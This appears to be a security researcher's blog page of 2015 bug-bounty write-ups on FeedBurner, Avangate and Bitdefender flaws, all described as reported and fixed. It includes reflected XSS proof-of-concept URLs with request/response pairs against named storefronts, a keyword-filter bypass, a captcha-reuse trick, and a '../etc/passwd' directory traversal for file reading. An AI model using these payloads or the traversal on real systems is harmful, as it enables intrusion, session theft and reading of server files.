How I found the sweets inside Google servers. Local File Inclusion Write-up @ 2015

Hello there.

In this blog post I'll tell you how I've managed to read arbitrary files from the Google servers by finding/exploiting a Local-File-Inclusion vulnerability. This flaw was found in one of the Google products, Google Feedburner, and was fastly fixed by Google Security Team.

As Wikipedia says, "FeedBurner is a web feed management provider launched in 2004.[...]FeedBurner provides custom RSS feeds and management tools to bloggers, podcasters, and other web-based content publishers." . This product was in the past one of my targets and as I had already discovered a few xss-es in this domain, I realized that there could be more interesting bugs here. So, I did some research and after a while I discovered that FeedBurner had an open API, but it was officially deprecated by Google in 2012. However, even if the documentation files were deleted (https://developers.google.com/feedburner/), the "Wayback Machine" (http://archive.org/web/) saved these pages and I was able to read them.

This is how I've discovered the link that caught my attention : http://feedburner.google.com/fb/dynamicflares/HelloVisitor.jsp?feedUrl=http://domain.tld/ff.xml (it isn't working anymore) .This script was used for retrieving the content of Dynamic FeedFlare Unit files, which are basically simple xml documents built after a certain scheme . For those who aren't familiar with the FeedFlares, it's important to know that these are more like some kind of addons, used by Feed owners in order to give their readers new methods of interacting with their content. 

At first glance, the purpose of this script was to grab the XML document submitted as value for feedUrl parameter and perform a XSL tranformation on it. The problem with this file was that it only appended the content of the provided XML in the context of the page without modifying or even encoding it.

My first attempt was only to find an XSS and I succeded by providing an URL that points to a malicious html file. But I felt that there could be a vulnerability with a major impact like reading files from the webserver, so I started my research with some classic payloads, injecting a directory traversal, a method tipically used in LFI attacks ("../../../../../../../etc/passwd"), but it didn't work. Nevertheless,by changing the method and using the file URI scheme, I was able to retrieve files from the server.





Unfortunately, not all the files were readable due to the Security policy file, but accessing some log files were enough to prove the existence of this vulnerabiliy. I've submitted this flaw to Google and it was fixed within 10 minutes after the triage.

Thanks,

Colțuneac Alexandru - @dekeeu

Read More

Avangate eCommerce Platform - XSS Vulnerabilities

• Description:

Avangate eCommerce Platform suffer from Reflected-XSS(Cross-Site-Scripting) vulnerabilities which can be easily exploited and could allow an attacker to threaten users safety .


• What is XSS(Cross-Site-Scripting) vulnerability ?

Reflected cross-site-scripting vulnerabilities arise when user-input is sent to the webserver in the context of a request and is echoed back into in application’s immediate response in an unsafe way, without being escaped correctly. An XSS attack allows an attacker to insert arbitrary html/javascript content in web pages.
The malicious payload inserted in page can access any cookies, session tokens or other sensitive information retained by victim’s browser and used within that website. It can also rewrite the content of the HTML page and lead to phishing attacks.


• How can these flaws affect all websites that use Avangate eCommerce solution ?

Every company that use Avangate platform has to create a separated subdomain (example: SHOP. COMPANY.COM) that must point to a *.avangate.com domain. As the scripts are the same for every website and just subdomain name is different , a vulnerability in the platform will affect all websites that use this product.

(*) Even if this subdomain is used only for online shopping and no loginforms or user sensitive information exists within that website , most of the time web developers prefer to extend cookies validity for all subdomains to gain flexibility. So a session cookie(like “PHPSESSID”) available for host.com could become also valid for shop.host.com (which points to Avangate platform).


• Proof of Concept(s):
[1] Link: http[s]://subdomain.host.com/redirect.php?url=';alert(1);//
Vulnerable parameter: url
Description: redirect.php script will take GET url parameter’s value and will add it in the context of the page without encoding it properly.

PoC:


Example of vulnerable websites:
• https://secure.avangate.com/redirect.php?url=';alert(1);//
• https://store.bitdefender.com/redirect.php?url=';alert(1);//
• https://store.iobit.com/redirect.php?url=';alert(1);//

Request:
GET /redirect.php?url=';alert(1);//
Host: store.bitdefender.com
...


Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 23 Jan 2015 15:25:28 GMT
Content-Type: text/html
Content-Length: 65
<script>
document.location.href='http://';alert(1);//';
</script>

[2] Link: http[s]://subdomain.host.com/partners/?merchant="><script>alert(1)</script>&template="><script>alert(2)</script>
Vulnerable parameters: merchant , template
Description: index.php script will take GET merchant, template parameters and will add their values in the context of the page without encoding it properly.

PoC:


Example of vulnerable websites:
• https://store.kaspersky.ro/partners/?merchant="><script>alert(1)</script>&template="><script>alert(1)</script>
• https://secure2.iolo.com/partners/?merchant="><script>alert(1)</script>&template="><script>alert(1)</script>
• https://shop.metaio.com/partners/?merchant="><script>alert(1)</script>&template="><script>alert(1)</script>


Request:
GET /partners/?merchant="><script>alert(1)</script>&template="><script>alert(2)</script>
Host: store.kaspersky.ro
...


Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 23 Jan 2015 17:33:14 GMT
Content-Type: text/html
Content-Length: 7821
...
<input type="hidden" name="merchant" value=""><script>alert(1)</script>"/>
<input type="hidden" name="template" value=""><script>alert(2)</script>"/>

[3] Link: https://subdomain.host.com/order/checkout.php?SHOPURL=javascriptjavascript:alert(1)
Vulnerable parameters: SHOPURL
Description:checkout.php script will take GET SHOPURL parameter and will append its value in a href attribute of an a tag. The script will try to prevent the xss attack by removing javascript keyword from the response, but only the first occurrence of this word will be deleted so this filter can be easily bypassed.
PoC:


Example of vulnerable websites:
• https://secure.avangate.com/order/checkout.php?SHOPURL=javascriptjavascript:alert(1)
• https://shop.metaio.com/order/checkout.php?SHOPURL=javascriptjavascript:alert(1)
• https://store.kaspersky.ro/order/checkout.php?SHOPURL=javascriptjavascript:alert(1)


Request:
GET /order/checkout.php?SHOPURL=javascriptjavascript:alert(1)
Host: store.kaspersky.ro
...


Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 23 Jan 2015 17:33:14 GMT
Content-Type: text/html
Content-Length: 7821
...
<a href="javascript:alert(1)">Back to shopping</a>

Read More

Google Feedburner - Reflected XSS

The base URL for this vulnerability will be : http://feedburner.google.com/fb/a/emailFlare?itemTitle=test&uri=test
If you open the link above in browser you can see that the basic form which allows you to email a "Flare" to a random e-mail address.

So, if you complete that form with random data but with the right captcha value you will be redirected to the next page which will contain my inserted payload. But, let's see first what request is made after you hit "Send Message" button :

Now, change the refferer parameter value with this payload: javascript:alert(1) . In the next page that will open, click on Return to the original web site text and you will notice that my alert() function was executed:

So, at this time, my flaw is just a self-xss because of that Captcha value which exists in every request. But, after some researching I found out that after every request for this page: http://feedburner.google.com/fb/a/emailFlare?itemTitle=test&uri=test , a new Captcha request is made: http://feedburner.google.com/fb/a/captcha?ct=RANDOM_DATA which will contain the captcha solution for the current form. That captcha value won't expire until someone will complete a form using that value:

So, let's assume that user A (tst22121996@gmail.com) wants to steal user's B (dekeeu@gmail.com) cookies. First, he will open this page in browser: http://feedburner.google.com/fb/a/emailFlare?itemTitle=test&uri=test , will intercept the traffic and using the Captcha request which will be made, will note the solution value for his Captcha and the value of ct parameter without submitting the form .

After that , he will make a new html page, completing token and captcha fields from the form below with the new obtained values:

Now, he saves all as a .html page and sends it to his victim, user B. When he will open that page and will click on "Return to the original web site" text, the alert() will pop-up.



This bug was validated , fixed and rewarded by Google Security Team.

Thanks !

Read More

Bitdefender Security Breakdown - LFI/OAuth/XSS vulnerabilities

Summary

Bitdefender websites were vulnerable to some web flaws that could allow an attacker to obtain arbitrary local files from the web server or hijack users sensitive information.

Vulnerability Details

• LFI (Local File Inclusion)

The vulnerable script was located here :

http://www.bitdefender.com/downloadFile.php?language=in&fileName=pok.txt&filePath=../../../../../../etc/passwd



Usually this script was used to download files from the web server but due an improper validation, filePath parameter allowed an attacker to download and read any file from the target server.

• OAuth Bug

This vulnerabiliy was caused by an unvalidated url redirect and allowed me to steal users access token.

• XSS (Cross-Site-Scripting)

And a xss vulnerability in one of Bitdefender subdomains.

Thanks,

@dekeeu

Read More